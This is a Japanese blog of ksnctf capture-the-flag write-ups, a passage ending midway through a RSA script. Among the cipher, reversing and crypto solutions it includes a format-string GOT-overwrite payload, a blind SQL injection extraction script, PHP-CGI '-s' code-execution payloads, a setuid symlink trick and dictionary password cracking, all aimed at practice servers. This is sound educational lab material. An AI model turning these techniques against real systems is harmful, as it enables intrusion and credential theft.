ksnctf
ksnctfに挑戦して
メモや答えを残していきます。
ネタバレが嫌な方は閲覧をお控えください。
一応検索などで見たくない方に見えてしまわないように
FLAG文字や画像には加工を加えてあります。
問題リスト
- Test Problem
- Easy Cipher
- Crawling Chaos
- Villager A
- Onion
- Login
- Programming
- Basic is secure?
- Digest is secure!
- #!
- Riddle
- Hypertext Preprocessor
- Proverb
- John
- Jewel
- Math I
- Math II
- USB flash drive
- ZIP de kure
- G00913
- Perfect Cipher
- Square Cipher
- Villager B
- Rights out
- Reserved
- Sherlock Holmes
- Lives out
- Lo-Tech Cipher
- Double Blind
- Alpha Mixed Cipher
- KanGacha
- Simple Auth
- HTTPS is secure.
- Are you human?
- Simple Auth II
- Are you ESPer?
Test Problem
この問題はFLAGの形式を確認するもので
問題分にあるFLAGをコピペするだけです。
Easy Chiper
"簡単な暗号"というタイトルの通り 明らかに単一換字式暗号です。
というより ROT13だろうということは見たらすぐに察しがつくと思います。
ROT13はシーザー暗号の1つで 26文字のアルファベットで 13文字ずつ
スライドする処理を行います。よって 元の文を ROT13 で暗号化した場合
もう一度 ROT13 処理をするともとの文字に戻ります。
EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV
yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va
napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT.
↓ ROT13処理
ROT XIII is a simple letter substitution cipher that replaces a letter with the letter XIII
letters after it in the alphabet. ROT XIII is an example of the Caesar cipher, developed in
ancient Rome. Flag is FLAG????????????????. Insert an underscore immediately after FLAG.
復号した文の最後に FLAG直後に _ を追加してね とあるので
FLAG???????????????? -> FLAG_????????????????
とすれば正解です。
ROT13はアルファベットしか変換することができないので、アンダースコアを含めた文は扱えないため
こうしないといけません。
表示可能なASCII文字で同じことを行う ROT47 を使えば アンダースコアも使えます。
Crawling Chaos
難読化されたJavaScriptに関する問題です。
パスワードを判定していると思われるJavaScriptが
(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー
といったAAを使って難読化されています。
これを手動で解読するのは面倒ですので
FireBugなどのツールを使って解析します。
FireBugのスクリプトタグで表示モードが
すべて(= 静的 評価 イベントスクリプト 表示)
になっていることを確認し、適当な文字列を 送信 すると
難読化されたコードから生成された本丸のコードが読めるようになります。
これによると入力された文字に対して
文字列の N文字目 が Mの場合
Mの文字コード * N を行って 配列p の内容と一致しているか
調べているので逆に 配列P の数値を 1 ,2 ,3 … で割っていけば
元の文字コードがわかります。
#include <stdio.h>
int main()
{
int i;
int p[] = { 70,152,195,284,475,612,791,896,810,
850,737,1332,1469,1120,1470,832,1785,
2196,1520,1480,1449 };
for(i=0; i<(sizeof(p)/sizeof(int)); i++)
{
putchar(p[i]/(i+1));
}
putchar('\n');
return 0;
}
Villager A
まず指定されたサーバーにSSHで接続します。
$ssh ctfq.sweetduet.info -p 10022 -l q4
ログインして ls すると 3つのデータが確認します。
flag.txt が今回の目標ですが、当然許可がないため開けません。
-r--------. 1 q4a q4a 80 6月 24 11:05 2016 flag.txt
-rwsr-xr-x. 1 q4a q4a 5857 5月 22 11:21 2012 q4
-rw-r--r--. 1 root root 151 6月 1 04:47 2012 readme.txt
q4が今回の攻撃対象で suid のビットが付いているのがわかります。
よって q4 の脆弱性を使って flag.txt を読みだせば良さそうです。
早速 q4 を実行してみると
[q4@localhost ~]$ ./q4
What's your name?
tester
Hi, tester
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.
no が入力されるまでループするみたいです。
怪しいのは最初に名前を聞かれるところだと思います。
試しに 名前として %x を入力してみると
[q4@localhost ~]$ ./q4
What's your name?
%x
Hi, 400
なるほど、フォーマットストリングス攻撃が可能なようです。
>参考
ログイン中のシステムは objdump コマンドが使えるようなので
早速 q4 をディスアセンブルしました。
まずは main() で呼ばれているライブラリ関数は
$ objdump -D ./q4
まず
80485dd: 8d 44 24 18 lea 0x18(%esp),%eax -|
80485e1: 89 04 24 mov %eax,(%esp) | fgets()で名前を訪ねて
80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> -|
80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp) … "Hi,"
80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> … 表示
80485f5: 8d 44 24 18 lea 0x18(%esp),%eax -|
80485f9: 89 04 24 mov %eax,(%esp) | ここで名前を表示
80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> -|
ここが脆弱性部分です。
一度目の printf() が Hi, と表示して 2度目の printf()で聞いたばかりの名前を
返すわけですが、 fgets で取得したポインタをそのまま渡していることがわかります。
教科書的な(?)フォーマットストリングス攻撃が可能な形です。
つぎに
804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp)
~ ~ ~ ~ ~
8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax
8048688: 85 c0 test %eax,%eax
804868a: 0f 95 c0 setne %al
804868d: 84 c0 test %al,%al
804868f: 75 89 jne 804861a <main+0x66>
8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp)
ここに注目します。
0x418(%esp)に 1 がセットされています。
その0x418(%esp) から %eax に値が移されているので今
%eax = 1 です。
そして
test %eax,%eax
は
if( (%eaxAND%eax) == 0) ZF = 1;
else ZF = 0;
こんな意味の命令です。
今%eax = 1なので ゼロフラグが 0 になります。
setne は Set if Not Equal という命令で ゼロフラグの反転を得る命令です。
よって
%al = 1 となります。
この %al でまた test 命令を行うので結果は同じです。
つまり
804868f: 75 89 jne 804861a <main+0x66>
ここにたどり着くとき ゼロフラグはいつも 0 であり、
この jne 命令で 毎回 main+0x66 に飛ばされ、
Do you want the flag からの処理がループする仕組みになっているわけです。
つまりこの jne 命令を超えて
0x8048691 に到達できれば 直後に fopen() が呼ばれており、
flagを表示してくれるはずです。
1つ思いつくのは
ループに陥る諸悪の根源たる 0x418(%esp) に 0 を書き込むことですが、
今回の環境では ASLRが有効で フォーマットストリングス攻撃を行うタイミングと
かなり離れた位置で値がセットされているので普通には上手く行きません。
よってこの案はボツとします。
次に 0x804869 にジャンプすることを試みます。
攻撃には PLT を踏み台として用います。
PLTは Procedure Linkage Table といって
共有ライブラリ内の関数へ call するとき 直接アドレスを呼ぶのではなくて
一度 .plt セクション内を経由して呼び出す方法で、
共有ライブラリがどこにロードされていても PLT とPLTが読みだす GOT がよろしく
設定されていると実行時にアドレスが解決できますよ という仕組みです。
この仕組みを利用してPLTを書き換えることで 共有ライブラリを呼んだつもりが
任意のアドレスにジャンプさせます。
と、その前に
攻撃対象の関数を選定しなくてはいけません。
今回は脆弱性のある部分の直後にわざとらしく
8048608: e8 67 fe ff ff call 8048474 <putchar@plt>
putchar() を読んでいるのでこれを利用しましょう。
.plt セクション 抜粋
Disassembly of section .plt:
08048474 <putchar@plt>:
8048474: ff 25 e0 99 04 08 jmp *0x80499e0
804847a: 68 08 00 00 00 push $0x8
804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30>
これが PLTの putchar です。
jmp *0x80499e0 は 0x80499e0に記録されているアドレスに飛べ という命令です。
INTEL記法なら
jmp DWORD PTR ds:0x80499e0
と表示されるハズです。
0x80499e0 はGOTと呼ばれる領域周辺のアドレスでここに
実行時にアドレス解決された putchar()本体のアドレスが記録されているわけです。
というわけでここまでを総合すると
アドレス0x80499e0に 値0x8048691 を書き込んでおくと
putchar() 関数が呼ばれたときに 本来の libcの putchar() ではなく
目的のアドレスにジャンプする。
というわけです。
ここまでわかればあとはちょっとした計算を行うだけです。
0x8048691 は 10進数では 134514321 で
目標アドレスの 0x80499e0 を入力するのに
\xe0\x99\x04\x08 の4文字分を使用するので
134514321 - 4 = 134514317
残り 134514317文字分表示した上で %n を使えば必要な値が書き込まれます。
ちなみに
[q4@localhost ~]$ ./q4
What's your name?
ABCD%x.%x.%x.%x.%x.%x.
Hi, ABCD400.cfa440.8.14.64dfc4.44434241.
この実験からわかるように
スタックの6段目に文字列の先頭が格納されているようなので
$ perl -e 'print "\xe0\x99\x04\x08%134514317c%6\$n"'| ./q4
これでいけそうな気がします。
が、空白文字を 13451431文字分も表示するのは気が引けるので
2バイトや1バイトごとに分割することでもできます。
例えば2分割する場合
スタックの6番目と7番目を使いたいので
0x80499e0
0x80499e2
をそれぞれセットして、上位・下位の2バイトを書き込めば文字数稼ぎに必要な
幅が小さくなるのでもうすこし速く攻撃が通ります。
$ perl -e 'print "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441c%6\$hn%33139c%7\$hn"'| ./q4
このように 2バイトずつ書き込めます。
パラメータ h は精度は落とす命令で 4byte -> 2byte のshort幅にしています。
>参考 printf自作してみる
累計文字表示数は増えていくのできっちりの数値を作れないこともありますが
溢れても問題ないので下2桁のみ考慮して数値を決めれば問題ありません。
Onion
base64エンコードされたと思しき文字列が渡されます。
この文字列を onion0.txt という名前で保存して
$ cat onion0.txt | base64 -d -
を実行すればデコードされます…がまた base64らしき文字列が出てきました。
ここで問題のタイトルに注目すると玉ねぎ、つまり、base64の重ねがけ
だろうことは察しがつきます。
$ cat onion0.txt | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - | base64 -d - > onion0_dec.txt
$ cat onion0_dec.txt
汚いですが実際に説いた時と同じものがこれです。
base64の処理結果をみつつ コピペしていっただけです。
もうちょっと長かったら自動ループのスクリプトなどを書くところですが
文字列がどんどん短くなっていくため終わりは見えます。
そして実行結果がこちら
begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU
end
90年代のアングラサイトぐらいでしか見たことがない
uuencodeのデータが出てきました。
Fedoraで uudecode コマンドは
sharutils パッケージに含まれています。
$ sudo dnf install sharutils
$ uudecode -o flag.txt onion0_dec.txt
$ cat flag.txt
FLAG_????????????????
Login
ひとまずSQLインジェクションを使う問題のようなので
id=' or 1=1 --
pass=test
を指定してログインしてみます curl を使うなら
"id=' or 1=1 --&pass=test" をURLエンコードして
curl 'http://ctfq.sweetduet.info:10080/~q6/' --data 'id=%27+or+1%3D1+--&pass=test'
こんなかんじでアクセスできます。
攻撃が通ったら
Conguraturation という画面がでますが、この問題の本題はここからです。
この問題のFLAGは admin のパスワード であるようなので
SQLインジェクションを工夫して admin のパスワードを割り出さなくてはいけません。
ただ、よくある問題のように インジェクションしたSQLに応じて画面になにか
表示されるようにはなっていません。分かるのは
入力したSQL分が通れば Conguraturation
通らなければ Login Error
ということです。
つまり、Yes/No の応答しかわからないわけです。
こういう場合用いられるのが Blind SQL Injection という方法で
名前のとおりSQLの結果がそのままわからない状況でも
本問のように Yes/No がわかる状況ならば使えます。
SQL文内に sleep を含めることで
通れば SLEEP 通らなければ 即答
という感じで強引に Yes/No を聞き出す Time-based -- という方法などが
有名です。
やり方は簡単で SQL分を工夫して Yes/No で答えられる要求をつくればいいわけです。
例えば
「パスワードの1文字目が F ならば」
という条件を指定すれば Yes/No の質問で判定でき、
これを ASCIIの表示可能文字すべてで聞きこみ調査を行えば
自ずとパスワードの1文字目がわかります。
これをパスワード長分繰り返します。
この方法は各1文字ずつについて何度もアクセスを行う必要があるので
なるべく聞き取り回数を減らすことが重要です。
まずパスワードは FLAG の形をしているので
FLAG_{16桁}
の形をしているはずです。 よってパスワードの長さは21桁
先頭の FLAG_ 5文字分は確定しているので6文字目から聞き取りを行います。
使用するSQL文の雛形は
id=admin' and substr((SELECT pass FROM user WHERE id='admin'),N文字目,1)='候補文字'--
先ほどの説明どおりで
adminのパスワードのN文字目を1文字 substr で切り出してそれと一致する文字があるか
調べます。よくある形です。
以上のことから自動化したスクリプトを作成すればいいわけです。
シェルスクリプトでかきます。
こういう問題のwrite_upは pythonやRubyをよく見かけますが
curlを中心に優秀なコマンドが揃っているのでシェルスクリプト
のほうが案外楽なことも多かったりする気もします。
#!/bin/sh
i=5
flag="FLAG_"
function int2cher {
hex=$(printf "%x" $1)
echo $(printf "\x${hex}")
}
while [ ${i} -ne 21 ]
do
i=`expr ${i} + 1`
for j in `seq 33 126`
do
C=$(int2cher ${j})
curl -s 'http://ctfq.sweetduet.info:10080/~q6/' --data "id=admin%27+and+substr%28%28SELECT+pass+FROM+user+WHERE+id%3D%27admin%27%29%2C${i}%2C1%29%3D%27${C}%27--&pass=" -o tmp06
size=$( wc -c tmp06 | cut -d ' ' -f1 -)
if [ ${size} -gt 2100 ]
then
flag=${flag}${C}
echo ${flag}
break;
fi
done
done
成功と失敗の判定ですが、今回はファイルサイズを使って判定しています。
他には ファイル中に Congraturation という文字があるか? なども
材料になると思います。
表示方法は悩みましたがニョキニョキ伸びるようにしました。
実行に時間がかかるコードなので見た目の楽しさは重要です。
Programming
一見C++に見えるかなりおかしなインデントのソースコードが渡されます。
これを indent コマンドで整形して眺めたり
実際に実行してみても全く意味のあるコードになりません。
となるとこのおかしなインデントに意味があるはずですが、
スペース と タブ がランダムに挿入されています
ここで whiitespaceという難解プログラミング言語を思いつくか
どうかが鍵です。
Brainfuck やその派生言語はよく見かけますが
難解プログラミングなど検索したことがあれば
難解プログラミング言語のなかではメジャーなので(?)
結構趣味で処理系を公開している人もいたりいなかったり
します。
>参考 whitespace
知っていた中ではこの処理系が使いやすいので
これを使います。
まず、どんなプログラムか
$ ./whitespace.out -m program.cpp
これでニーモニックが見れます。
まぁじっくり読まなくても
STACK_PUSH X
IO_PUT_CHAR
この部分は ASCII文字の出力しているのは一目瞭然
なので出力されるはずの文字が分かるのですが一応ちゃんとやります
0035: IO_READ_NUM
0036: STACK_PUSH 0
0041: HEAP_LOAD
0042: STACK_PUSH 33355524
0047: ARITH_SUB
0048: FLOW_BEZ 66
ここがポイントです。
入力された数値と 33355524 の差をとって
0なら 0+066 にジャンプしています。
つまりこのコードは
PIN: と表示して 33355524 と入力されたら FLAGを表示
それ以外なら NO と表示して終了 する
というプログラムのようです。
というわけで
これで無事FLAGが取得できます。
Basic is secure?
パケットキャプチャデータが渡されるので素直に WireSharkで読み込み
通信を確認すると Basic認証のやりとりが確認できます。
Basic認証は一切の暗号化を行わないのでとくに何かしなくても
パスワードを盗み見ることができます。
Digest is secure!
前問の発展版でBasic認証の代わりにDigest認証が使われています。
Digest認証では一度サーバーにアクセスして nonce と呼ばれるランダムな文字列を
得た上で、必要情報を適切に hach化するなどして通信する必要があります。
これはCurlでどうにかするのは難しいので Rubyで行きます。
キャプチャデータから nonce 以外のデータを抜き出しておき
最後に nonce だけ実際にサーバーから貰って認証することができます。
ちなみにここに書かれていますが、flagは flag.txt に記載されています。
require 'uri'
require 'net/http'
require 'digest/md5'
username = "q9"
realm = "secret"
#nonce =
uri = URI.parse("http://ctfq.sweetduet.info:10080/~q9/flag.html")
algorithm = "MD5"
#response =
qop = "auth"
nc = "00000001"
cnonce = "9691c249745d94fc"
a1 = "c627e19450db746b739f41b64097d449"
a2 = Digest::MD5.hexdigest("GET:#{uri.path}")
http = Net::HTTP.new( uri.host, uri.port)
http.start {
hello = http.get( uri.path)
nonce = hello['WWW-Authenticate'].match(/nonce="(.*),"/)[1]
response = Digest::MD5.hexdigest("#{a1}:#{nonce}:#{nc}:#{cnonce}:#{qop}:#{a2}")
header = { "Authorization" => %(Digest username="#{username}", realm="#{realm}", nonce="#{nonce}", uri="#{uri.path}", algorithm=#{algorithm}, response="#{response}", qop=#{qop}, nc=#{nc}, cnonce="#{cnonce}") }
flag = http.get( uri.path, header)
puts flag.body
}
まず hello で一旦サーバーに挨拶して 応答内の nonce だけ抜き出してきます。
あとはルール通りに response を計算すればOKです。
#!
知識問題です。
スクリプトを書くときはじめに
#!/bin/sh
こういうのを書きますがこれの名前を聞かれています。
SHEBANG です。
ただのテキストであるスクリプトの先頭にこれをかくことで
exec() されるときに 指定のインタプリタを呼び出すことが
できるようになっています。ただのおまじないではありません。
Riddle
バイナリ解析です。
結構めんどうなのでいかにズルをするかもポイントな気がします。
まず、課題の実行ファイルを起動すると
なぞなぞが表示されるので
Human
Greenland
42
と順番に正解すると
最後に じゃあフラグはなにさ? と聞かれますが
当然答えはわかりません。
IDA Proなどをつかって解析するしかありません。
Wrong や Correct という文字を表示しているあたりを
調べれば判定部分はすぐに見つかります。
判定手順は
まず入力された文字の長さを調べて正解と長さが違えば即 Wrong
次に文字を処理するルーチンになげて、処理された文字列が
正解の文字列と一致すれば Correct ( 問題番号が3=4問目 は Congraturation)
で問題番号を 1増やす 違えば Wrong
ということをやっているようです。
答えと答えの長さは
.data:00405178 ; "Which creature in the morning goes on f"...
.data:0040517C dword_40517C dd 2B37C6B1h ; DATA XREF: sub_401980+6Fr
.data:00405180 db 76h ;
.data:004051A0 dd offset aWhatIsTheLarge ; "What is the largest island in the world"...
.data:004051A4 db 0BEh ; セ G
.data:004051A5 db 0C1h ; チ r
.data:004051A6 db 3Fh ; ? r
.data:004051A7 db 2Fh ; / e
.data:004051A8 db 76h ; v n
.data:004051A9 db 86h ; ・ l
.data:004051AA db 3Ch ; < a
.data:004051AB db 58h ; X n
.data:004051AC db 0FDh ; d
.data:004051C8 dd offset aAnswerToTheUlt ; "Answer to the Ultimate Question of Life"...
.data:004051CC db 0CDh ; ヘ 4
.data:004051CD db 81h ; ・ 2
.data:004051F0 dd offset aWhatIsTheFlag? ; "What is the flag?"
.data:004051F4 db 0BFh ; ソ F
.data:004051F5 db 0FFh L
.data:004051F6 db 1Bh A
.data:004051F7 db 0Dh G
.data:004051F8 db 47h ; G _
.data:004051F9 db 0A7h ; ァ
.data:004051FA db 18h
.data:004051FB db 4Fh ; O
.data:004051FC db 0CBh ; ヒ
.data:004051FD db 0D6h ; ヨ
.data:004051FE db 5Ch ; \
.data:004051FF db 59h ; Y
.data:00405200 db 95h ; ・
.data:00405201 db 61h ; a
.data:00405202 db 73h ; s
.data:00405203 db 57h ; W
.data:00405204 db 0B3h ; ウ
.data:00405205 db 0D1h ; ム
.data:00405206 db 94h ; ・
.data:00405207 db 9Fh ; ・
.data:00405208 db 0ACh ; ャ
こんな感じ記録されていました。
肝心の変換処理ですがこれが厄介です。
このTWISTEDと名付けたルーチンがそれっぽいのですが
いろいろやった上で xor をとっているみたいです。
実験として
Human
0x48 0x75 0x6D 0x61 0x6E
0xB1 0xC6 0x37 0x2B 0x76
--------------------------xor
0xF9 0xB3 0x5A 0x4A 0x18
Greenland
0x47 0x72 0x65 0x65 0x6e 0x6c 0x61 0x6e 0x64
0xBE 0xC1 0x3F 0x2F 0x76 0x86 0x3C 0x58 0xFD
---------------------------------------------- xor
0xF9 9xB3 0x5A 0x4A 0x18 0xEA 0x5D 0x36 0x99
42
0x34 0x32
0xCD 0x81
-----------xor
0xF9 0xB3
変換前と変換後をXORすると同じ 値が出現しているのでこの路線で良さそうです。
この 0xF9 から始まるデータを 鍵列と呼ぶことにします。
FLAGを求めるにはこの鍵列が 21文字分必要ですが
TWISTEDの中身をちゃんと読まないといけません…読みたくありません
ひとまず Greenland から 9文字目まではわかるので
F L A G _ M E y R
0x46 0x6c 0x61 0x67 0x5f 0x4D 0x45 0x79 0x52
0xBF 0xFF 0x1B 0x0D 0x47 0xA7 0x18 0x4F 0xCB 0xD6 0x5C 0x59 0x95 0x61 0x73 0x57 0xB3 0xD1 0x94 0x9F 0xAC
---------------------------------------------------------------------------------------------------------xor
0xF9 9xB3 0x5A 0x4A 0x18 0xEA 0x5D 0x36 0x99
ここまではわかります。
ここからズルをします。
まず
21文字分適当な値を放り込んで TWISTEDに処理をさせた文字列を確認します。
TWISTED直後あたりにブレークポイントを挟んで
var_24 に
0xBF 0xFF 0x1B 0x0D 0x47 0xA7 0x18 0x4F 0xCB 0xA3 …
が入っているのが確認できます。
当然0xCBまでは正解と一致していますが A3 以降は当然違います。
しかし
'A' xor 鍵 = 0xA3
ならば
鍵 = 'A' xor 0xA3
で求まります。
よって
FLAG_MEyRAAAAAAAAAAAA
を用いて
? ? ? ? ? ? ? ? ? ? ? ?
0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
-----------------------------------------------------------------------
0xA3 0x47 0x7E 0xE0 0x61 0x06 0x5E 0xB4 0xC7 0xE2 0xED 0x86
から 不明な鍵列 ? は
0xE2 0x06 0x3F 0xA1 0x20 0x47 0x1F 0xF5 0x86 0xA3 0xAC 0xC7
と求まるので TWISTEDは無視します。
鍵列がわかれば
F L A G _ M E y R ? ? ? ? ? ? ? ? ? ? ? ?
0x46 0x6c 0x61 0x67 0x5f 0x4D 0x45 0x79 0x52 0xXX 0xXX 0xXX 0xXX 0xXX 0xXX 0xXX 0xXX 0xXX 0xXX 0xXX 0xXX
0xBF 0xFF 0x1B 0x0D 0x47 0xA7 0x18 0x4F 0xCB 0xD6 0x5C 0x59 0x95 0x61 0x73 0x57 0xB3 0xD1 0x94 0x9F 0xAC
-----------------------------------------------------------------------------------------------------------xor
0xF9 9xB3 0x5A 0x4A 0x18 0xEA 0x5D 0x36 0x99 0xE2 0x06 0x3F 0xA1 0x20 0x47 0x1F 0xF5 0x86 0xA3 0xAC 0xC7
余裕でFLAGが求まります。
余裕と言いつつ5,6時間はかかった気もしま
Hypertext Preprocessor
タイトルの Hypertext Preprocessor とは PHP言語のことです。
CTFでPHP題材となると とりあえず -s は試します。
同じ出題が 8946 でも出ているレベルです。
PHP CGIの過去のバージョンにおいて ?-s を追加することは
コマンドラインで
$ php ./hoge.php -s
を意味してしまい、わざわざ適切に整形された状態で
ソースコードが閲覧できてしまうという有名な脆弱性で、
これが使えると -d オプションなどで php の設定も
自由に変更できます。
やはり通りました。
プログラムも optionの文字列をURLエンコードしてあげれば
↑参考の 8946用のコードがほぼそのまま流用して
任意のPHPコードを実行することができます。
原理などはやはり↑の8946での解説を参考にしてください。
まずは
payload= "<?php $a = scandir('.'); foreach($a as $file){ print $file.'\n';} ?>"
を指定して、フォルダ内のデータを一覧させます。
FLAGが記録されているのは
flag_flag_flag.txt
とわかります。
よって
payload = "<?php print readfile('./flag_flag_flag.txt'); ?>"
おしまいです。
Proverb
与えられたSSHアカウントでログインすると
[q13@localhost ~]$ ls -al
合計 48
drwxr-xr-x 2 root root 4096 6月 1 05:01 2012 .
drwxr-xr-x. 17 root root 4096 10月 6 03:07 2014 ..
-rw-r--r-- 1 root root 18 5月 11 03:31 2012 .bash_logout
-rw-r--r-- 1 root root 176 5月 11 03:31 2012 .bash_profile
-rw-r--r-- 1 root root 124 5月 11 03:31 2012 .bashrc
-r-------- 8 q13a q13a 22 6月 1 05:21 2012 flag.txt
---s--x--x 6 q13a q13a 14439 6月 1 04:59 2012 proverb
-r--r--r-- 1 root root 755 6月 1 04:58 2012 proverb.txt
-r--r--r-- 1 root root 151 6月 1 04:48 2012 readme.txt
このようなファイル一式が渡されます。
readme.txtには
[q13@localhost ~]$ cat readme.txt
You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.
とあります。
proverb を起動すると proverb.txt に書かれた文章を適当に
表示する仕組みになっているようです。
つまり proverb にどうにかして proverb.txt のかわりに flag.txt を
読みこませればいいようです。
また、tmpを使うようになっていることを考えると
シンボリックリンクを利用して flag.txt へのシンボリックリンク
proverb.txt を作ればいいはずです。
ですが tmp で作業しようとすると怒られます。
表示する権限がないのですが
すでに proverbと proverb.txt が存在するようで
/tmp/proverb を起動すると
サブディレクトリを作ってね と頼まれます。
よって
cd /tmp
[q13@localhost tmp]$ mkdir sub
[q13@localhost tmp]$ cd sub
[q13@localhost sub]$ ln -s ~/proverb proverb
[q13@localhost sub]$ ln -s ~/flag.txt proverb.txt
[q13@localhost sub]$ ls
proverb proverb.txt
[q13@localhost sub]$ ./proverb
FLAG_X???????????????
[q13@localhost sub]$ exit
でOKです。
本来権限がないはずのファイルにシンボリックリンクが晴れてしまう脆弱性は
場合によってはかなり危険な事態になります。
John
タイトルの通り John the ripper を使ってパスワード解析をする問題です
ただし課題のパスワードファイルはSHA512を使っており普通に解析するとかなりの時間
を要します。
user99 に 辞書の在り処が示されているのでこれを利用します。
パスワードファイルを q14 という名前で保存して
$ wget http://ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt
これでOKです。
辞書を使ったのですぐに終わります。
$ john q14 --wordlist='dicti0nary_8Th64ikELWEsZFrf.txt'
$ john --show q14
user00:FREQUENT:15491:0:99999:7:::
user01:LATTER:15491:0:99999:7:::
user02:ADDITIONAL:15491:0:99999:7:::
user03:GENDER:15491:0:99999:7:::
user04:__________:15491:0:99999:7:::
user05:applies:15491:0:99999:7:::
user06:SPIRITS:15491:0:99999:7:::
…
各ユーザーのパスワードの頭をとっていけばFLAGがわかります。
切り出しは
$ flag="";for i in $(john --show q14 | cut -c8); do flag=${flag}${i}; done; echo ${flag} | cut -b-21
FLAG_????????????????
Jewel
Androidアプリである apk ファイルが渡されます。
apkは zip アーカイブされているので
$ unzip Jewel.apk -d Jewel
展開できます。
この中の classes.dex が目的のファイルです。
コンパイルされているので dex2jar で jar に戻します。
dex2jarのセットが toolディレクトリにあるとして
$ tool/dex2jar-*/d2j-dex2jar.sh Jewel/classes.dex
これで classes-dex2jar.jar という名前で jar まで戻りました。
jar もまた unzip できます。
$ unzip ./classes-dex2jar.jar -d ./Class
これで
Class/info/sweetduet/ksnctf/jewel/JewelActivity.java
が閲覧可能になります。
内容をみると
デバイスIDを取得して、そのIDを鍵にすることで
AESで暗号化された
Jewel/res/raw/jewel_c.png
を復号し表示するという内容です。
FLAGもこの jewel_c.png を開けばわかるはずですが
肝心の デバイスID がわからない (=鍵がわからない)
ので 画像を復号することができません。
ただし、15桁の値であるデバイスIDの上位8桁は
99999991
であり、デバイスIDをSHA256でhash化すると
"356280a58d3c437a45268a0b226d8cccad7b5dd28f5d1b37abf1873cc426a8a5"
ということが、デバイスID判定のコードから読み取れます。
よって下7桁分だけスクリプトで全通り検索して
hash値が一致するものをみつければOKです。
必要なデバイスIDがわかったら
KEY = "!(デバイスID)"
IV = "kLwC29iMc4nRMuE5"
を用いて AES-128-CBC にかけると
もとの画像が復号できます。
画像によると、 pngに含まれるコメントデータにFLAGがあるらしいので
$ strings -n 21 jewel_c_dec.png
FLAG_????????????????
などを実行すればFLAGが取得できました。
以上の流れを
珍しくWrite up風に書くと↓こうなります。
#!/usr/bin/ruby
require 'digest/sha2'
require 'openssl'
target_id = "356280a58d3c437a45268a0b226d8cccad7b5dd28f5d1b37abf1873cc426a8a5"
#Step 1
puts "[+] Step1 "
for i in 0..9999999
device_id = "99999991%07d"%i
hashed_id = Digest::SHA256.hexdigest(device_id)
if( hashed_id == target_id )
puts " - device id = " + device_id
break
end
end
#Step2
puts "[+] Step2 "
puts " - Setup"
enc = File.open("jewel_c.png", "r")
dec = File.open("jewel_c_dec.png", "w")
cip = OpenSSL::Cipher::Cipher.new('AES-128-CBC')
cip.decrypt
cip.key = "!#{device_id}"
cip.iv = "kLwC29iMc4nRMuE5"
puts " - key = !#{device_id}"
puts " - iv = kLwC29iMc4nRMuE5"
puts " - Decrypt"
data = ""
buffer = ""
while enc.read(4096, buffer)
data << cip.update(buffer)
end
data << cip.final
dec.write(data)
puts " - done!"
#Step3
puts "[+] Step3 "
puts data[/FLAG_(.{16})/,0]
MathⅠ
RSA暗号に関する問題です。
RSA暗号は公開鍵暗号で、ある程度より大きな数を素因数分解するのは
大変だという数学上の問題を利用します。
1組の素数を使って 1組の暗号セット (e,n)と(d,n) を生成し
pq:素数の組 M:平文 C:暗号文
とすると
n = pq
C = (M^e) mod n
M = (C^d) mod n
で相互に変換できる というものです。
肝心の e,d の生成方法は
Step1
n = pq
φ(n) = (p-1)(q-1)
として
eとφ(n)の最大公約数が1 になるような e を1つ探す
※eは公開鍵で固定値でも安全性に影響がないため
e = 65537 がよく使われる
Step2
1=(de)modφ(n) となる d を見つける
こういう仕組みなので n がどの素数 p,q から生成されたか
因数分解できてしまうと 全部計算可能になってしまいますよ
という話です。
本文はその p,q がなにかの表紙に特定できてしまったことを
想定して 暗号文C から 平文M を計算すればいいわけです。
p,q,e が分かっているので d を計算できます。
ed ≡ 1 (modφ(n))
から
ed = 1+kφ(n)
de + k'φ(n) = 1
これは
ax+by=1 の形のユークリッドの互除法で処理できます。
所謂拡張ユークリッドの互除法というアルゴリズムでは
a,b に対して
ax + by = gcd(a,b)
となるような
x,y gcd(a,b) が一気に求まります。
d が計算できたら Cも計算できますが
ここでちょっと問題があります。
ここで登場する c や d や n はかなり大きな値をとっているので
c^d などの計算はそのままではできません。
そこで
巨大な値での冪剰余には
特別な配慮がいります。
が、そうそう思いつけるものもないので
参考
このあたりから持ってきました。
以上で M が計算できたので問題の指示にしたがって デコードすればOKです。
#!/usr/bin/ruby
class Euclid
attr_reader :x
attr_reader :y
def initialize
@x = 1
@y = 0
end
def exgcd(a, b)
x=1
y=0
u=0
v=1
while b>0 do
q = a/b
tmp = u
u = x-(q*u)
x = tmp
tmp = v
v = y-(q*v)
y = tmp;
tmp = b
b = a-(q*b)
a = tmp;
end
@x = x;
@y = y;
return a
end
end
# https://docs.omniref.com/ruby/gems/rsa/0.1.2/symbols/RSA::Math/modpow/singleton
def moduler(base, exp, mod)
res = 1
while exp>0 do
res = (base * res )%mod unless (exp & 1).zero?
base = (base * base)%mod
exp >>= 1
end
return res
end
puts "[+] Steup"
